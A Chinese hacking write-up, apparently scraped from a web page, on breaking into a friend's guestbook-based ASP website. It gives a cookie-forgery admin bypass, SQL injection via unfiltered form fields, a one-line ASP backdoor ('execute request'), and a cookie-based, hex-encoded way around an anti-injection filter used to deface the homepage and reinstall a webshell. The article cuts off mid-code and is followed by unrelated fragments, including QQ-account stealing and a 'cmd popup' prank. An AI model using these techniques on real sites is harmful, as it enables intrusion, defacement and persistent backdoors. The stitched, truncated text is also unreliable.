前不久我一个开网吧的朋友做了个网站,我对他的网站进行了一次安全检测,发现了一些漏洞,包括两个留言本漏洞和绕过通用防注入的漏洞。写出来共享一下。 一、小秋个性留言本管理验证漏洞 我朋友网站上有两个留言本,一个是小秋个性留言本,一个是倾听留言本(倾听留言本的问题等一下再说)。小秋个性留言本在后台验证你是否是管理员时有漏洞,我们来看代码:<%response.expires=0if request.cookies("loginok")="" thenresponse.redirect "login.asp"end if%>不用说了吧,只要cookies里的loginok值不是空你就是管理员了,而不在乎loginok到底是什么。就算loginok是千寂孤城也无所谓。所以在cookies里加上loginok=QJGC后再访问后台,你就是管理员了。并且后台的管理员回复没有过滤“<”和“>”,可以进行跨站攻击。 二、倾听留言本的漏洞 1、倾听留言本后台的管理员回复页面没有管理验证,直接在地址栏里访问/disp_msg.asp?id=62即可对id=62的帖子进行回复。注意,倾听留言本的贴子是默认从id=62开始记数的。 2、写留言时的指定头像路径可以绕过,在提交留言的表单中是这样选择头像的:head-1head-2head-3head-4……选好头像后把数据写入数据库时对图片的路径和大小都没有再检查,所以我们可以用网站上的任何找得到的图片作为自己的头像。只需要在本地重新构造一个表单来提交就可以了。我们完全可以找个巨幅的图片来玩玩。 3、提交留言时的SQL injection漏洞。我们先来看看提交留言时的代码是怎么写的:<% Sub add_msg() nick_name=chhtml(request.form("nick_name")) oicq=chhtml(request.form("oicq")) pvc=request.form("pvc") userip=Request.ServerVariables("HTTP_X_FORWARDED_FOR") if userip=""then userip=Request.ServerVariables("REMOTE_ADDR") touxiang=request.form("touxiang") z_touxiang=chhtml(request.form("z_touxiang")) t_h=chhtml(request.form("t_h")) t_w=chhtml(request.form("t_w")) e_mail=chhtml(request.form("e_mail")) web_p=chhtml(request.form("web_p")) title=chhtml(request.form("title")) font_color=request.form("font_color") msg_type=request.form("msg_type") contents=UBB(chhtml(request.form("contents"))) exec="insert into msg_book(nick_name,oicq,pvc,ip_a,touxiang,z_touxiang,t_h,t_w,e_mail,web_p,title,font_color,msg_type,contents)values('"+nick_name+"','"+oicq+"','"+pvc+"','"+userip+"','"+touxiang+"','"+z_touxiang+"','"+t_h+"','"+t_w+"','"+e_mail+"','"+web_p+"','"+title+"','"+font_color+"','"+msg_type+"','"+contents+"')" conn.execute exec conn.close set conn=nothing response.Redirect "index.asp" End Sub%> 看到了吗,其中pvc、touxiang、font_color、msg_type都没有经过任何过滤就放到了查询语句中。为什么倾听这么大胆呢?因为这几个东西依次是“来自”、“头像”、“字体颜色”和“公开或是悄悄话”。前三个都是下拉菜单,最后一个是单选按扭。作者认为这几个很安全,但是我们可以在本地重新构造表单提交呀。 我写这篇文章前并未通知官方(http://www.qtice.com/),官方同样存在此漏洞,请大家不要去搞破坏。 三、通用防注入原来形同虚设 这是个很大的漏洞哦。 1、漏洞的发现 事情是这样的。我通过一些 *** 在朋友的网站上搞到一个webshell,然后又在某个页面上加了一句话后门:<%if request("qjgc")<>"" then execute request("qjgc")%>。后来朋友删了我的webshell,我就想利用这个一句话后门再写一个webshell进去。结果一提交就弹了个框框出来说我提交的数据非法,ip已记录。当时就郁闷了,忘了朋友用了通用防注入程序,也就是说我向一句话木马里提交的数据不能出现被通用防注入过滤掉的字符,否则就非法了。现在回想一下,其实通用防注入里过滤掉的字符并不多,只是针对sql注入的过滤,我们完全可以构造一个上传“上传小马”的代码提交过去,然后再利用那个“上传小马”来上传大马(上传小马里面没有include那些讨厌的防注入代码,可以提交任意数据)。但是我当时就完全没有这样想,像是短路了一样以为被过滤得什么数据都提交不了了。明知道有一句话木马却用不了,我很不甘心。突然我想到如果我用cookies来提交qjgc的值会怎样呢?于是打开MyBrowser实验了一下。打开MyBrowser,然后随便访问朋友网站上的一个欣赏flash的动态页面:/flash_show.asp?id=20。接着把地址栏中的?id=20删了,在cookies里面写上:; id=20,然后刷新一下,页面没有变化。把cookies里的id=20改成id=19再刷新一下,发现flash变了一个。这说明把url里的提交数据写进cookies里确实可行。现在来最重要的一步:把cookies改成id=20'后刷新,并没有出现那个什么提交非法数据的提示!成功绕过了通用防注入程序! 2、漏洞的利用 既然如此,那我们就通过cookies把qjgc的值提交进去。这里要注意,通过cookies提交数据一定要转换成16进制,否则会出错的。我之前一直不成功就这个原因。我们先来试试可不可以改他的主页。改主页的代码如下:a="":set fso=server.createObject("scripting.filesystemobject"):set file=fso.opentextfile("***index.asp",2,TRUE):file.write a :file.Close随便打开一个16进制转换工具,把以上代码放进去转换,得到一串16进制代码:%61%3D%22%3C%73%63%72%69%70%74%3E……全部复制下来,然后打开MyBrowser,来到有一句话木马的页面,在cookies那里加上:; qjgc=%61%3D%22%3C%73%63%72%69%70%74%3E……刷新一下,没有出错,再到首页去看一看,首页已经成功被我们修改了。接下来我又用此 *** 上传了一只asp马,webshell又回来了。 3、漏洞的原因 说实话到底为什么会成功我也不很清楚,我们先来看看通用防注入的代码: <% '--------定义部份---------
人力资源管理咨询(人力资源服务许可证怎么申请)何浩东老师201百思特网8-09-23 06:33:00 本文主要内容:1. 人力资源管理咨询总论2.人力资源管理咨询程序3.人力资源百思特网管理咨询的...
我QQ被朋友盗了,可过了很多天都找不到他,我想盗回来,顺便把他的也盗掉... 1、用你最初的资料,加上三位及以上的最开始的好友,通过申诉,同时通知他们帮忙验证就可以找回qq了。腾讯QQ(简称“QQ”)...
healer网络黑客大娘怎么样了 linux合适什么人(合适新手的linux) 电脑怎么避免 电脑上被网络黑客操纵 电脑上如何进到网络黑客仿真模拟页面(怎祥进到网络黑客页面) 网络...
说到蒙古就会想到草原。在我国,内蒙古自治区就是这样的,自治区内的大草原十分辽阔。那里居住着许多蒙古族的人。没有去过那里的人对大草原一定十分向往。没去过大草原的人对大草原的了解多是从电视或者新闻上看到的...
近日的一个午后,导演刘竞步履安然走在都市的街头,忙碌与闲暇的完美衔接,进入在此等候的商务车中,放下繁华里的喧嚣,魅力从心而发折射个性真我姿态,邂逅不期而遇的美好。...
抖音快手上所谓的黑客技能(cmd无穷弹) 1: 我们打开自身的电脑,点击鼠标的右键,选择新建文本文档的选项,在桌面创建一个空缺的TXT文档。 2: 我们找到这个创建的新的空缺文档,...